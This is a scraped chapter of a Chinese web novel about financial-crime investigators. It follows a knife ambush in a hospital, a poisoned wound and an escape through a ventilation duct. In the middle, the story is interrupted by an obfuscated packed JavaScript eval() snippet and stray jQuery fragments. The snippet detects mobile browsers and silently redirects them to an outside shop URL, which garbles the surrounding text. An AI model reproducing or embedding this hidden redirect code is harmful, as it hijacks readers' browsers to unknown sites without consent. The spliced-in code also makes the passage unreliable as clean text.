文趣网 > 都市小说 > 两江经融事故[经侦] > 45.双城社保漏洞
    程叙白身后,不知何时悄无声息地站了一个穿着白大褂,戴着黑框眼镜的男人,看起来文质彬彬,手中那柄小巧的手术刀却稳稳定在程叙白的颈侧,刀锋紧贴着跳动的血管。

    “二位专家,”男人推了推眼镜,露出一个毫无温度的微笑,“对我们的数据库,是不是过于好奇了?”

    刀锋微微一动,程叙白立刻感到颈部传来冰凉的锐痛,接着血流了出来。

    但他快,江峙更快!

    几乎是凭着本能和千锤百炼的反应,江峙的右拳带着风声已经砸了过去,不是打向持刀的手,而是直取面门!

    他算准了,对方只要不想同归于尽,就必须躲闪或格挡。

    “呃啊!”

    一声闷响伴随着痛呼,男人鼻梁上的眼镜应声飞落,鼻血瞬间涌出。他持刀的手果然下意识地回缩格挡,与江峙打抖在了一起。

    程叙白抓住这电光石火的机会,猛地向后撤步脱离刀锋范围,顺手抄起旁边桌上的医用消毒喷瓶,对着那男人的脸毫不犹豫地按下了泵头!

    “嗤!”

    刺鼻的酒精喷雾弥漫开来。

    “走!”江峙低吼一声,拉住程叙白的手腕就往外冲。

    直到冲出信息室,跑进相对安全的消防通道,程叙白才借着应急灯昏暗的光线看清。

    江峙左臂的制服衣袖已被鲜血浸透了一大片,暗红色的血珠正顺着他的指尖不断滴落,在水泥地上绽开点点斑驳。

    “停下!”程叙白语气急促,一把将江峙拽到通道转角更隐蔽的角落。

    江峙靠在墙上,呼吸明显带着不正常的粗重和颤抖,额角出冷汗。

    “刀上……有问题……”他咬着牙,从齿缝里挤出声音,“是□□……M的,这剂量……够放倒一头牛了!”

    程叙白脸色一变。

    □□是一种肌肉松弛剂,过量会导致呼吸肌麻痹,非常危险。

    他二话不说,直接撕开自己衬衫的下摆,动作迅速地在江峙左上臂的近心端用力扎紧,做了一个简易的止血带,有效压迫住了肱动脉,减缓了毒素随血液扩散的速度。

    “战术手册条例,”他一边操作,一边用平静的语气说,“优先保护持械手功能。”

    他知道江峙的左手同样重要。

    江峙疼得倒抽一口冷气,却还试图扯出个惯有的痞笑:“都这时候了,程大专家,就别背条例了,这刀……真他N的快……”

    程叙白没理会他的调侃,一把扯下自己腕上的智能手表。冰凉的钛合金表带牢牢扣在了江峙受伤的手臂上。

    表盘界面瞬间切换,心率、血氧数据跳动起来,同时发出轻微的充气声,表带自动收紧,压迫住伤口。

    这是内置的医用级止血加压装置,程叙白这段时间经常跟着经侦出现场,所以一直戴着,以防万一。

    “加压式止血带,”程叙白语速飞快,手指在表侧快捷按键上操作着,“能智能维持基础供血,给我们争取至少18分钟。”

    他抬起头,应急灯惨绿的光线下,两人的目光在空气中猛地撞上,都看到了彼此眼中沉重的凝重。

    情况比预想的更糟。

    二楼安全出口近在咫尺,整栋楼的警报系统却在此刻疯狂尖啸,刺耳的笛声几乎要撕裂耳膜。

    程叙白快速说:“机房后面还有一个暗门,董明就是从那里出来的。”

    “操!” 江峙低骂一声。

    他们专门挑了今晚行动,就是想错开董明在医院的时间。

    现在突然冒出这么多人,说明董明早就猜到了他们的意图,甚至布好了局等着他们自己走进来。

    念头飞转间,江峙已一把扣住程叙白手腕,将人猛地拽向自己。

    几乎同时,三支强光手电的光束如同利剑,从走廊直刺而来,狠狠扫过他们刚才站立的位置。

    “后门!”

    江峙侧身将程叙白死死护在墙角阴影里,手中警棍带着破风声挥出,一个冲上前的保安应声倒地。

    扔在地上的对讲机里立刻传来混乱的呼叫:“B区消防通道需要支援!重复,B区消防通道需要支援!”

    程叙白却纹丝未动。他迅速从西装内袋抽出那支万宝龙钢笔,拇指用力按下笔夹处的隐蔽开关时。

    “滋!”

    一阵轻微的电流声划过,整层楼的照明系统应声瘫痪,瞬间陷入黑暗,只有应急指示灯投下病态的绿光,将两人的影子在墙上拉长,扭曲变形。

    耳边传来江峙一声低哑的轻笑,那笑声裹挟着血腥气,震得他耳膜发颤。

    “真讲究啊程组长,”江峙灼热的呼吸喷在他耳后,紧贴着他脊背的胸腔微微震动,“EMP(电磁脉冲)都做成高定款。”

    应急灯的绿光扫过江峙的侧脸,勾勒出他硬朗的下颌线。

    程叙白突然意识到,这个看似莽撞的警察,竟敏锐地注意到了他启动设备时手腕的动作,

    “覆盖半径只有15米。”程叙白反手拽住江峙的手腕,发力冲向安全通道,声音压得极低,“快走!”

    黑暗中,凌乱的脚步声与追喊声在楼道里碰撞、回荡,敲响危险的节拍。

    江峙的手仍像铁钳一样死死抓着他的手腕,两人皮肤交叠处烫得惊人。

    他一边跑一边按下耳麦,喘息着发出指令:“老王,通风口接应,救护就位!”

    耳麦那头立即回应:“收到!”

    程叙白能感觉到江峙的每一次呼吸都灼热地烙在他后颈,潮湿的水汽顺着脊梁往下滑。

    “进去。”

    医院负一层的通风管道里,金属盖板在江峙手中发出沉闷的吱呀声。

    这虽然是医院人可进入式通风管道,专门用来预防紧急情况,但此刻依旧显得拥堵。

    四十厘米宽的狭窄空间里,两人被迫保持着快要拥抱的姿势向前移动。

    江峙望着身前那个平日连西装褶皱都要熨平的金融精英,此刻正狼狈地在通风管道里匍匐前进,突然觉得有些恍惚。

    那个在金融城会议室里,连咖啡杯摆放都要计较的程叙白,现在却任由灰尘沾满他价值不菲的定制皮鞋,跟着自己在逼仄的金属管道里亡命奔逃。

    他忽地意识到,或许这才是真正的程叙白。

    在金融城的玻璃后,在那些精细严谨的算法和模型之下,藏着的是一副比他想象中更加坚韧的筋骨

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639491|205563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “左转。”江峙的声音在管道里有些沉闷,“前面有个检修口。”

    程叙白突然停住动作。在管道壁传来的细微震动中,他清晰地捕捉到身后人异常的心跳。

    “你心动过速。”他的声音绷得很紧,“心率超了,伴有轻微心律不齐。”

    “废话。”江峙的胸腔紧贴着他的后背震动,“跟央行精英屁股贴屁股爬管子,够我吹一年。”

    “……”

    江峙突然压低声音:“你今天喷的香水是不是爱马仕的雪白龙胆?”

    “…………”程叙白的喉结在黑暗中狠狠滚动了一下。

    江峙低笑一声:“很好闻。”

    检修口的螺丝布满红锈,程叙白懒得搭理他,更不想知道他这位队长怎么会认出他香水是哪款。

    他摸出随身携带的拆信刀,江峙认出上面刻着的瑞士军工厂徽标。与程叙白办公室里那套拆文件用的工具同出一源。

    一线天光从缝隙漏入,照亮两张近在咫尺的脸。

    程叙白的眼镜滑到鼻尖,镜片上还沾着信息室里的灰尘;江峙的额发被汗水浸得透湿,却还挂着那副懒洋洋的笑。

    程叙白突然抬手,用已经被划破的衬衫袖口拭去江峙颧骨上的血渍。

    江峙条件反射地后退,却又硬生生止住。

    “监控死角。”程叙白声音轻的像耳语,“别动。”

    从检修口望出去,两人交叠的剪影在应急灯的绿光中构成完美的借位,像幅被刻意安排的剧照。

    管道外追兵的脚步声渐近,却无人发现这方寸之间的隐秘。

    江峙能感觉到程叙白指尖的温度透过皮肤传来,那双惯常敲击键盘的手此刻正微微发抖,却依然固执地替他擦去血迹。

    “够了。”江峙突然抓住他的手腕,声音沙哑,“再擦就要没法工伤鉴定了。”

    “…………”程叙白垂下眼帘,没搭腔。

    通风管道外传来安保人员的对话声,由远及近,又渐渐远去。

    江峙松开他的手,转向检修口:“能撬开吗?”

    “需要点时间。”程叙白已经恢复平日里的冷静,拆信刀卡进锈死的螺丝缝,“你撑得住吗?”

    江峙嗤笑一声,把带血的手臂往身后藏了藏。

    “开撒子玩笑。”

    程叙白没拆穿他,加快了手上动作。

    ……

    两人被接应上后,疾步冲进监控车,车门关闭的瞬间,程叙白已经将数据线插入终端接口。

    救护车的警笛声由远及近,车辆沿着应急通道疾驰而出,轮胎碾过减速带时发出沉闷的声响。

    副驾驶上,王川的目光死死咬住后视镜。不远处,一辆车正不紧不慢地缀着,如同暗处窥伺的猎手。

    “操,”他齿缝里挤出一声冷笑,“警方的车都敢跟?甩掉它!”

    司机猛地将油门踩下。作为土生土长的渝江人,他对这座城市每一条脉络都了如指掌。

    车身如游鱼般在晚高峰的车流中连续变道、急转、穿插,不过两个路口,后视镜里那抹不怀好意的影子便被彻底吞没在茫茫灯河之中。

    他不敢再跟了。